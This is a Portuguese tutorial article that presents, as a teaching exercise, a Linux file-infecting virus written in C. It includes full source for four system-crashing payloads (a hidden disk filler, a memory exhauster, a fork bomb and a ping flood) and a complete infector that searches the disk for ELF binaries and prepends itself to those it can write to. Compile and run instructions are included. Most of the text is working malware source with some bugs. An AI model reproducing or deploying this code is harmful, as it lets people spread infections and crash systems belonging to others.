VisitasRevirando meus materiais antigos encontrei um disquete, ainda funcionando, que continha um vírus criado no início de minha vida na informática. O código original estava em Pascal e foi criado para funcionar em DOS/Windows. Fiz algumas modificações, reescrevendo o código em C e adaptando seu funcionamento
Motivação Antes de tudo, queria deixar claro que o intuito não é fazer com que as pessoas passem a prejudicar outras. A idéia é didática, apresentar teorias e códigos bastante interessantes que possam ser utilizados por programadores em suas criações.
O código foi encontrado em um de meus disquetes antigos, que ainda encontrava-se guardado e estava prestes a ser descartado, porém ao ver seu conteúdo, lembrei do quanto me foi edificador criá-lo.
O vírus é um resquício do início da minha vida na informática e achei que seria interessante divulgá-lo. Como se trata de um código escrito quando eu era iniciante nesta área, provavelmente não apresentará nada de novo a programadores mais experientes, sendo destinado a iniciantes.
O original foi escrito em Pascal para funcionar em DOS/Windows. Para apresentá-lo a uma comunidade voltada para Linux, resolvi fazer algumas alterações, rescrevendo o código em C e fazendo adaptações para que funcione em Linux.
Essas alterações trazem algumas conseqüências, como perda de funcionalidade. O vírus funcionava muito bem em DOS/Windows, porém em Linux, com sua proteção multi-usuário e com um kernel bastante robusto, fica muito difícil manter a eficiência do original, sendo assim, não causará maiores transtornos a usuários mais experientes.
Por exemplo, a infecção em um sistema DOS/Windows é teoricamente fácil, basta infectar um arquivo .exe ou .com e pronto. Porém no Linux, é diferente. Primeiro, o que define se um arquivo é executável ou não, não é a extensão e sim o atributo do arquivo, e mesmo que um arquivo esteja com o atributo de executável ele não poderá ser um script, tem que ser binário.
E mesmo um arquivo executável e binário tem que dar permissão de escrita ao vírus. Sendo assim, só a parte de infecção faz com que o vírus cresça em muito de tamanho, pois é muito mais complexo encontrar quem poderá ser infectado, sendo possível não encontrar ninguém.
O exemplo citado já diminui em muito a eficiência de um vírus, pois um dos princípios básicos de um vírus é que ele tem que ser pequeno. Por motivo de tamanho é que os vírus são escritos em Assembly - de preferência, em C/C++ ou no máximo em Pascal. Pelo menos era assim quando eu comecei a estudá-los.
Além da dificuldade imposta pela plataforma, o código também, encontra-se "há anos luz" de vírus mais sofisticados e modernos que contam até com AI (Inteligência Artificial).
Mas isso não incomoda, já que, como mencionei, a proposta não é ensinar a criar um código destrutor e sim apresentar conceitos e códigos de algo tão fascinante que é um vírus, além de estar gostando, apesar de nostálgico, recordar o início de tudo...
IntroduçãoNormalmente, qualquer problema que aconteça com o computador durante sua operação é atribuído ao vírus (referência quase que exclusiva dos usuários Windows), mesmo que o problema se de por inexperiência do usuário ou mal funcionamento do sistema.
Todos sabemos da dificuldade dos usuários de se adaptarem a novos sistemas ou atualizações - novos paradigmas, novos botões, novas funcionalidades. Também é sabido da existência de defeitos nos softwares, principalmente no caso de versões recém lançadas, normalmente as versões X.0.
Qualquer um que atualize ou instale programas recém lançados se arriscam a ter problemas, normalmente as versões X.01 são correções de defeitos encontrados nas versões X.0. De acordo com pesquisa feita pela PC Magazine, 50% dos prejuízos em softwares são causados pelos motivos citados e não por ação de um vírus de computador.
Um vírus de computador é um programa capaz de infectar outro programa, através de uma modificação deste incluindo uma cópia de si mesmo no código original. Por isso o nome de vírus, uma analogia ao vírus biológico que transforma as células em fábricas de cópias do vírus original.
Para o usuário em geral, qualquer programa que apague dados ou atrapalhe o funcionamento de sua máquina é chamado de vírus. Para um programador, um vírus é algo bastante interessante, pois, se trata de um programa altamente sofisticado, capaz de tomar decisões, funcionar em diversos tipos de máquinas além de apresentar índices mínimos de problemas ou mal funcionamento.
Stephen Hawking se referiu ao vírus de computador como a primeira forma de vida criada pelo homem, pois podem se reproduzir e garantir sua sobrevivência sem a interferência do homem. Fato que faz com que muitos vírus existam até hoje, vários anos após sua criação.
Para muitos cientistas, a reprodução e a manutenção da sobrevivência são princípios básicos para que um organismo seja descrito como vivo.
Modus OperandiBasicamente, o vírus pode infectar um computador de três formas:
1) vírus de disco - infectam o setor de boot do disco, parte responsável pela manutenção dos arquivos no HD. Funcionam como uma tabela de índice contendo a posição de cada arquivo gravado em disco; neste caso, qualquer operação feita com o arquivo - gravar, carregar etc - pode ativar o vírus que por sua vez fará uma copia de si mesmo para outra unidade e assim sucessivamente. Esse tipo de vírus atualmente não é muito comum, mas no passado era bastante criado pelos desenvolvedores.
2) vírus de arquivo - infectam arquivos executáveis. Eles se copiam para o início ou fim destes. Dessa forma, ao carregar um programa, código do vírus é executado, esse cumpre sua função e pula para o início do código do executável desejado, dando assim continuidade ao seu processo.
3) vírus mult-partite - bastante sofisticados, infectam tanto o setor de boot quanto arquivos executáveis.
Uma exceção é o DIR-II - Vírus deste tipo alteram a tabela de arquivos de forma a serem chamados antes dos programas a serem executados. Não são, nem propriamente dito, como "vírus de boot", "de arquivos" e muito menos "mult-partite".
Quanto a detecçãoUm vírus, como todo o dado armazenado em disco ocupa espaço. No caso de vírus de arquivo, mesmo que seja criado em linguagem de montagem (Assembly), ocupando um espaço mínimo este "aumenta o tamanho do arquivo".
Ao copiar-se para dentro de um programa, duas coisas aconteciam: (I) o executável mudava de tamanho e (II) a data de gravação também era alterada.
Existiam vírus que infectavam arquivos já infectados, fazendo com que estes aumentassem de tamanho a cada execução, chegando a se auto infectar até tamanho absurdos.
Esse tipo de infecção era facilmente identificada por usuários mais atentos, pois um simples ls -l mostrava a alteração do tamanho e da data em arquivos infectados.
Passou-se então a fazer vírus que reconheciam suas cópias em executáveis, fazendo com que estes não infectassem arquivos já infectados. Neste caso, anti-vírus mais simples conseguia, identificá-los executando os programas e comparando a data de criação antes e pós execução.
Posteriormente, os vírus passaram a alterar a data de gravação dos hospedeiro (arquivo infectado) além de não se auto infectar. Com isso, tornou-se praticamente impossível a detecção pelo usuário sem a ajuda de um anti-vírus.
Para esses tipos de vírus, os mais comuns atualmente, o anti-vírus passou a manter uma base de dados com características dos vírus, então eles buscam essas características dentro dos arquivos, vasculhando todo seu conteúdo.
Como funciona um anti-vírusMuita gente desconhece o funcionamento, mas um anti-vírus trabalha levando as considerações acima, basicamente de três formas:
1) vigiando a memória do micro e identificando a ação de qualquer novo programa.
2) mantendo um arquivo com as características dos arquivos antes da infecção, assim, qualquer alteração que o arquivo original sofra é identificado.
3) o mais comum: abrindo cada um dos arquivos possíveis de infecção e examinando o código do programa. Lembrando que eles mantém uma base de dados com o código ou parte do código dos vírus que eles conseguem identificar.
Porque os vírus são escritosO vírus de computador sempre causa curiosidade. Quando fizeram esta pergunta em uma convenção de produtores de vírus e hackers, na Argentina, a resposta foi:
- Because it's fun!Ação do vírusA ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.
Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.
As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.
Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções acao serão utilizadas.
Exemplo 1O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
O fonte está publicado para download
aqui.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char *buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo */
pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */
ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */
if (i==0)
acao();
}
Para compilá-lo basta fazer:
$ gcc progacao1.c -o progacao1
Para executá-lo:
$ ./progacao1
Use o comando (várias vezes) df para ver o espaço em disco diminuindo. Use o comando ls ou find ./ -name lotaHD para ver se encontra o arquivo.
Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo]
Exemplo 2O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.
O fonte está publicado para download
aqui.
/* progacao2.c */
#include <stdlib.h>
#include <stdio.h>
acao ()
{
char *f;
while (1)
{
f = malloc (10000); /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */
usleep (10); /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */
}
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
Para compilar:
$ gcc progacao2.c -o progacao2
E para executar:
$ ./progacao2
Para ver o uso de memória aumentando use ps -axv.
Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo].
Exemplo 3O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.
Há uma opção, usar kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.
Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.
O fonte está publicado para download
aqui.
/* progacao3.c */
acao ()
{
while (1)
fork();
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
Para compilar:
$ gcc progacao3.c -o progacao3
Para executar:
$ ./progacao3
Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.
Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.
Exemplo 4No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.
O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
O fonte está publicado para download
aqui.
/* progacao4.c */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */
acao()
{
int return_thread;
pthread_t thread;
while (1)
{
return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */
usleep (10); /* já explicado no exemplo 2 */
}
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
void ping (char *host)
{
int desc;
close(1);
pipe (desc); /* o pipe já foi explicado no exemplo 1 */
system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */
}
Para compilar:
$ gcc -o progacao4.c -lpthread progacao4
Para executar:
$ ./progacao4
Para ver o andamento use: ps-ax
Para parar a thread, basta matar o processo pai. Faça-o com:
$ ps -ax | grep progacao4 (busque o número do processo progacao4)
E:
$ kill -9 [núm. processo]
TeorizandoNesta primeira parte do artigo criaremos um vírus muito simples, mas que servirá para o entendimento do processo de funcionamento.
O vírus funcionará na seguinte ordem: ele se copia para um arquivo temporário, copia o arquivo hospedeiro para o final do temporário, apaga o arquivo hospedeiro original e renomeia o arquivo temporário.
Seria algo mais ou menos assim:
$ cat virus >> temp
$ cat hospedeiro >> temp
$ rm hospedeiro
$ mv temp hospedeiro
Porém, fazendo assim vários problemas iriam ocorrer:
1) não temos garantia de que o hospedeiro infectado tenha permissão de execução.
2) tendo permissão de execução, apenas o código do vírus seria executado.
O que nosso código terá que fazer:
1) guardar a linha de comando digitada para passar ao hospedeiro.
2) buscar por todo o disco arquivos executáveis binários que possam ser infectados.
3) quando encontrar arquivos possíveis de infecção, infectá-los.
4) executar a funcionalidade do vírus.
5) executar o código do hospedeiro com a linha de comando.
Alguns detalhes deverão ser tratados:
1) não é possível esperar a infecção dos arquivos e nem a execução da funcionalidade do vírus para que seja executado o hospedeiro.
2) será necessário saber de antemão o tamanho do vírus, para separá-lo exatamente do hospedeiro.
Requisitos necessários
1) compilador gcc:
# apt-get install gcc (para instalá-lo no Debian e distros based)
2) biblioteca ncurses:
# apt-get install libncurses
3) biblioteca libc:
# apt-get install libc6
4) bibliotecas essenciais:
# apt-get install build-essential
É aconselhável que teste o vírus em uma máquina virtual. Sugiro usar o qemu.
Mãos à obraO fonte está publicado para download
aqui.
/*
virus1.c
Obs.: os tipos de arquivos podem ser
10. link simbólico lxxx
8. arquivo -xxx
6. arquivo de bloco bxxx
4. diretório dxxx
2. arquivo de caracter cxxx
1. arquivo de paginação pxxx
*/
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80
#define tamVir 12239 /* Tamanho do Vírus
Após o vírus ser compilado, use o ls -l para descobrir o tamanho do executável e use o tamanho aqui */
char codvirus [tamVir]; /* conterá o código do vírus */
const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */
int _USER_;
int _GROUP_;
char *_PATH_;
void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo, foi feita gravando byte por byte, pois assim diminui em muito o tamanho do código, porém pode ser aperfeiçoado.
No Windows seria fácil, bastaria copiar o vírus para um arquivo temporário e depois copiar a arquivo a ser infectado no final do temporário, apagar o arquivo original e depois renomear o temp.
No Linux o buraco é "mais embaixo". Apesar de ter direito de escrita em um arquivo, o usuário pode não ter direito de escrita no diretório onde o arquivo se encontra. Logo não daria para criar o temporário.
Então, pode vir a pergunta. Por que não copia o arquivo para um temporário em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui o temporário no final? O problema é que teria que varrer todo o disco procurando um diretório em que o usuário tivesse direito de escrita correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário home me dá garantia que posso escrever nele ou se o usuário que irá executar o vírus tem diretório home. Por que, então não guardar o executável na memória, sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?
Porque nada garante que dependendo do tamanho do executável e da memória disponível irá ter espaço suficiente, principalmente se estiverem sendo executados várias instâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus ficará na memória indefinidamente, essa solução me pareceu melhor.*/
FILE *file_exec;
FILE *file_tmp;
char buf[1024];
char *tmp;
long i;
if (!(file_exec=fopen(_arq, "rw+"))) return;
tmp=(char *)malloc(strlen (_arq)+4);
strcpy (tmp, _arq);
strcat (tmp,".tmp");
if (file_tmp=fopen(tmp, "w+"))
{
unlink(tmp);
/* Copiando o hospedeiro para o temporário */
while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);
/* Voltando ao início dos arquivos */
fseek(file_tmp,0 ,SEEK_SET);
fseek(file_exec,0 ,SEEK_SET);
/* copiando para dentro do arquivo original, poupamos tempo com permissões.
Gravando o código do vírus no arquivo temporário*/
fwrite(codvirus,1,tamVir,file_exec);
/* voltando o original para depois do vírus */
while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
}
free(tmp);
close (file_tmp);
close (file_exec);
}
void tentaInfectar (char *arq)
{
FILE *file_exec;
long ret;
char bout[25];
int i;
/* vamos pegar os atributos do arquivo */
struct stat attrib;
stat(arq, &attrib);
/* verificando se o arquivo é binário
Todo executável binário assim como no Windows tem um cabeçalho identificando.
Não sei o significado mas abri vários binários e sem exceção eles têm os seguintes primeiros.
24 byts = CABEC_EXEC */
if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direito de leitura, não serve */
ret = fread (bout, 1, 24, file_exec);
/*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
if (ret <= 0)
{
close (file_exec);
return;
}
for (i=0; i<=23; i++)
{
/* Se tiver alguma diferença no cabeçalho, não é binário */
if (CABEC_EXEC[i] != bout[i])
{
close (file_exec);
return;
}
}
/* Se o usuário for root ou for igual ao dono do arquivo no caso do grupo, tem que ter direito de escrita outro caso é se o arquivo der direito de escrita para todos nestes 4 casos, podemos continuar */
if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;
infecta (arq, attrib);
}
void buscaInfecta (char *d)
{
struct dirent *dir;
DIR *path;
char *strArq;
char *dt;
int tam;
tam = strlen(d);
dt=(char *)malloc (tam+1);
strcpy (dt, d);
/* retirando a barra do fim do nome em caso de diretório para ficar padrão quando for diretório a barra será recolocada*/
if (dt[tam-1]=='/')
{
dt[tam-1]='\0';
tam--;
}
if (!(path=opendir (dt))) { free (dt); return; }
while(dir = readdir(path))
{
usleep (1000);
strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
strcpy (strArq, dt);
strcpy (&strArq[tam], "/");
strcpy (&strArq[tam+1], dir->d_name);
if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
buscaInfecta (strArq);
else if (dir->d_type==8)
tentaInfectar (strArq);
free (strArq);
}
closedir (path);
free (dt);
}
void pegaDadosExport (void)
{
/* Pegando a Variável PATH do sistema */
_PATH_ = getenv("PATH");
/* pegando id do usuário e do grupo do usuário que está executando a aplicação */
_USER_ = getuid();
_GROUP_= getgid();
}
int pegaCodVirus (char *exec)
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */
FILE *file_exec;
char *diret;
char *tmp;
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(exec,"r")))
{
tamstr=strlen(exec);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='\0';
strcat (diret, "/");
strcat (diret, exec);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='\0') break;
j=++i;
}
else i++;
}
if (!(achou)) return 0;
}
ret = fread (codvirus, 1, tamVir, file_exec);
if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
{
close (file_exec);
return 0;
}
close (file_exec);
return 1;
}
void executaHospedeiro (char *exec, int qtde, char *param[])
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */
FILE *file_exec;
FILE *file_tmp;
char *diret;
char *tmp;
char tmpstr[1024];
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
char prog[512];
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(param[0],"r")))
{
tamstr=strlen(param[0]);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='\0';
strcat (diret, "/");
strcat (diret, param[0]);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='\0') break;
j=++i;
}
else i++;
}
if (!(achou)) return;
}
strcpy (prog,exec);
for (ret=1; ret<qtde; ret++)
{
strcat (prog," ");
strcat (prog,param[ret]);
}
if (!(file_tmp=fopen(exec,"w+")))
{
close (file_tmp);
return;
}
fseek(file_exec,tamVir,SEEK_SET);
while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);
close (file_exec);
close (file_tmp);
chmod (exec,493);
system (prog);
unlink(prog);
return;
}
int main (int argc, char *argv[])
{
int i;
i=fork();
if (i==0)
{
pegaDadosExport ();
/* pega o código binário do vírus para infectar os outros ou então pula a infecção */
if (pegaCodVirus (argv[0])) buscaInfecta ("./");
acao;
}
else executaHospedeiro ("./arqexec", argc, argv);
}
Compilar com:
$ gcc virus1.c -o virus
O valor de "tamVir" irá variar de acordo com a ação escolhida. Compile o vírus, use o ls -l para verificar o tamanho do executável e modifique o valor de acordo com a tamanho encontrado. Compile novamente o vírus.
A execução do hospedeiro está retornando a seguinte mensagem: "Área de texto ocupada".
Deixei essa parte para quem quiser resolver, já que essa parte 1 é apenas para começar a ilustrar o funcionamento do vírus.
